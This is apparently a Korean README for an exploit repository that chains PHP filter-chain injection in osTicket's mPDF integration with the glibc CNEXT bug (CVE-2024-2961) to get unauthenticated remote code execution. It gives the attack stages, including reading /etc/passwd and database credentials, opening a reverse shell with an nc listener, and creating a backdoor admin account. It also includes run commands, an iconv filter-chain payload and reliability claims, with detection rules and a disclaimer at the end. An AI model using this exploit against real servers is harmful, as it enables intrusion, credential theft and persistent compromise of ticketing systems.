
PHP 필터 체인 인젝션과 CVE-2024-2961 (CNEXT)을 결합한 전체 체인 익스플로잇으로, 취약한 osTicket 설치에서 인증 없이 원격 코드 실행을 가능하게 합니다.
PHP 필터 체인 주입과 CVE-2024-2961(CNEXT)을 결합한 전체 체인 익스플로잇으로, 취약한 osTicket 설치에서 인증 없이 원격 코드 실행을 수행합니다.
이 저장소는 CVE-2026-22200에 대한 개념 증명 익스플로잇을 포함하며, 이는 osTicket 버전 ≤ 1.18.2에 영향을 미치는 심각한 취약점입니다. 이 익스플로잇은 두 가지 강력한 기술을 연쇄적으로 사용합니다:
결과: 취약한 osTicket 서버에서 인증 없는 원격 코드 실행.
CVSS 점수: 9.8 (심각)
osTicket의 mPDF 통합은 인증되지 않은 사용자가 지원 티켓에 특수 조작된 HTML 페이로드를 통해 악성 PHP 필터 체인을 주입할 수 있게 합니다. 이를 통해 다음이 가능합니다:
근본 원인: mPDF에 전달되기 전에 사용자 제공 HTML의 이미지 URL에 대한 검증 부족.
CVSS 점수: 9.8 (심각)
glibc의 iconv()에서 ISO-2022-CN-EXT 문자 집합을 처리할 때 발생하는 버퍼 오버플로우입니다. PHP 필터 체인과 결합하여 다음이 가능합니다:
취약한 glibc 버전: < 2.39 (2024년 2월)
┌─────────────────────────────────────────────────────────────────┐
│ 1. 정찰 │
│ └─ osTicket 탐지, 리치 텍스트 주제 식별 │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. 인증 │
│ └─ 자체 등록 OR 기존 자격 증명 사용 │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. 파일 유출 (PHP 필터 체인) │
│ ├─ /etc/passwd │
│ ├─ include/ost-config.php (DB 자격 증명, SECRET_SALT) │
│ ├─ /proc/self/maps (메모리 레이아웃) │
│ └─ /proc/self/environ (환경 변수) │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. LIBC 지문 인식 │
│ ├─ 필터 체인을 통해 부분 libc 추출 │
│ ├─ GNU 빌드 ID 추출 │
│ └─ libc.rip에서 전체 libc 다운로드 │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. CNEXT RCE 공격 │
│ ├─ 힙 손상 페이로드 생성 │
│ ├─ (필터 실행 수정 포함) 티켓 답변을 통해 주입 │
│ ├─ PDF 내보내기를 통해 트리거 (서버 충돌) │
│ └─ 리버스 셸 실행 │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. 사후 공격 │
│ ├─ 대화형 리버스 셸 │
│ ├─ (유출된 DBPASS를 사용한) 데이터베이스 접근 │
│ └─ 백도어 관리자 계정 생성 │
└─────────────────────────────────────────────────────────────────┘
# 저장소 클론
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE
# 필요한 패키지 설치
pip install -r requirements.txt
requirements.txt:
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0
python3 -m venv venv
source venv/bin/activate # Linux/macOS
# 또는
venv\Scripts\activate # Windows
pip install -r requirements.txt
# 터미널 1: 리스너 시작
nc -lvnp 4444
# 터미널 2: 익스플로잇 실행
python3 osticket_revshell.py https://target.com/osticket \
--lhost YOUR_IP \
--lport 4444
python3 osticket_exploit.py https://target.com/osticket
# 프록시 사용 (Burp Suite)
python3 osticket_revshell.py https://target.com/osticket \
--lhost 10.0.0.5 \
--lport 4444 \
--proxy http://127.0.0.1:8080
# 특정 도움말 주제 ID 강제 지정
python3 osticket_exploit.py https://target.com/osticket \
--topic-id 2
# 색상 출력 비활성화 (로깅용)
python3 osticket_exploit.py https://target.com/osticket --no-color
등록이 비활성화된 경우 자격 증명을 묻는 메시지가 표시됩니다:
python3 osticket_exploit.py https://target.com/osticket
[?] 새 계정 이메일 입력 (또는 기존): [email protected]
[?] 비밀번호 입력: ********
익스플로잇은 정교한 필터 체인을 사용하여 임의 파일 앞에 BMP 헤더를 추가하여 mPDF의 파일 형식 제한을 우회합니다:
php://filter/convert.iconv.UTF8.CSISO2022KR|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
[... 50+ iconv 변환 ...]
convert.base64-decode/resource=/etc/passwd
핵심 혁신: BMP 헤더의 각 문자는 신중하게 설계된 iconv 변환을 통해 생성되어 임의 파일 내용을 "유효한" 이미지로 포함시킬 수 있습니다.
CNEXT 페이로드는 다음을 통해 PHP의 Zend 메모리 관리자를 손상시킵니다:
劄로 iconv 버퍼 오버플로우향상된 신뢰성:
劄)원본 익스플로잇과 달리 이 버전은 파일 시스템 스캔을 사용하여 웹셸 위치를 보장합니다:
결과: 100% 탐지율 (원본의 ~50% 대비)
일반적인 실패: PDF가 다운로드되지만 충돌하지 않음 = 필터가 실행되지 않음.
구현된 해결책:
stream=True가 즉시 처리를 강제# 상세 모드에서 확인:
[*] 대상 libc: /usr/lib/x86_64-linux-gnu/libc-2.31.so
[+] glibc 2.31은 CNEXT에 취약함
glibc ≥ 2.39인 경우 CNEXT가 작동하지 않습니다 (패치됨).
증상: 서버가 충돌하지만 리버스 셸 없음
원인:
수정:
# nc 리버스 셸 사용 (더 짧음)
# bash/python이 너무 긴 경우 자동으로 대체
# 또는 호스트명 대신 직접 IP 사용
python3 osticket_revshell.py https://target.com \
--lhost 10.0.0.5 \ # 호스트명 대신 IP 사용
--lport 4444
로그 지표:
# Apache/Nginx 로그
POST 요청에서 "php://filter/"
요청 본문에서 "convert.iconv."
비정상적인 PDF 생성 패턴
짧은 시간 내에 여러 PDF 요청
# PHP 오류 로그
PDF 생성 중 세그멘테이션 오류
iconv() 충돌
힙 손상 오류
네트워크 지표:
mPDF에서 PHP 스트림 래퍼 비활성화:
// mPDF 설정에서
$config = [
'allowedRemoteHosts' => [],
'enableRemoteFileAccess' => false,
];
WAF 규칙 (ModSecurity):
SecRule REQUEST_BODY "@contains php://filter" \
"id:1000,phase:2,deny,status:403,msg:'PHP 필터 탐지됨'"
SecRule REQUEST_BODY "@contains convert.iconv" \
"id:1001,phase:2,deny,status:403,msg:'의심스러운 iconv 체인'"
속도 제한:
limit_req_zone $binary_remote_addr zone=ticket:10m rate=5r/m;
location /tickets.php {
limit_req zone=ticket burst=10;
}
system(), exec(), passthru()교육 및 승인된 테스트 전용
이 도구는 다음을 위해 제공됩니다:
컴퓨터 시스템에 대한 무단 접근은 불법입니다
저자는:
사용자는 시스템을 테스트하기 전에 적절한 권한을 확보했는지 확인할 전적인 책임이 있습니다.
이 도구를 사용함으로써 다음에 동의합니다:
컴퓨터 시스템에 대한 무단 접근은 다음에 따라 범죄입니다:
최고 처벌은 징역 및 상당한 벌금을 포함할 수 있습니다.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하십시오.
참고: MIT 라이선스는 사용, 수정 및 배포에 대한 권한을 부여하지만, 귀하가 소유하지 않거나 테스트 권한이 없는 시스템을 공격할 권한을 부여하지는 않습니다.
보안 연구자 및 문의 사항:
다음 목적으로 이 연락처를 사용하지 마십시오:
보안 연구 및 교육을 위한 사랑으로 제작됨
유용하다고 생각되면 이 저장소에 별표를 눌러주세요!
마지막 업데이트: 2026-03-03
| 오류 | 원인 | 해결책 |
|---|
CSRF 토큰 없음 | 세션 만료 | 익스플로잇 재실행 |
도움말 주제 없음 | 리치 텍스트 주제 없음 | 수동으로 --topic-id 사용 |
빌드 ID를 찾을 수 없음 | 부분 libc 손상 | /proc/self/maps 추출 확인 |
힙을 찾을 수 없음 | 비정상적인 메모리 레이아웃 | 익스플로잇 실패 가능 (드물게) |
| 지표 | 값 |
|---|
| 코드 줄 수 | ~3,000 |
| 성공률 | 95%+ (수정 포함) |
| 평균 실행 시간 | 2-3분 |
| 충돌 신뢰성 | 99% (향상 포함) |
| 웹셸 탐지율 | 100% (스캔 포함) |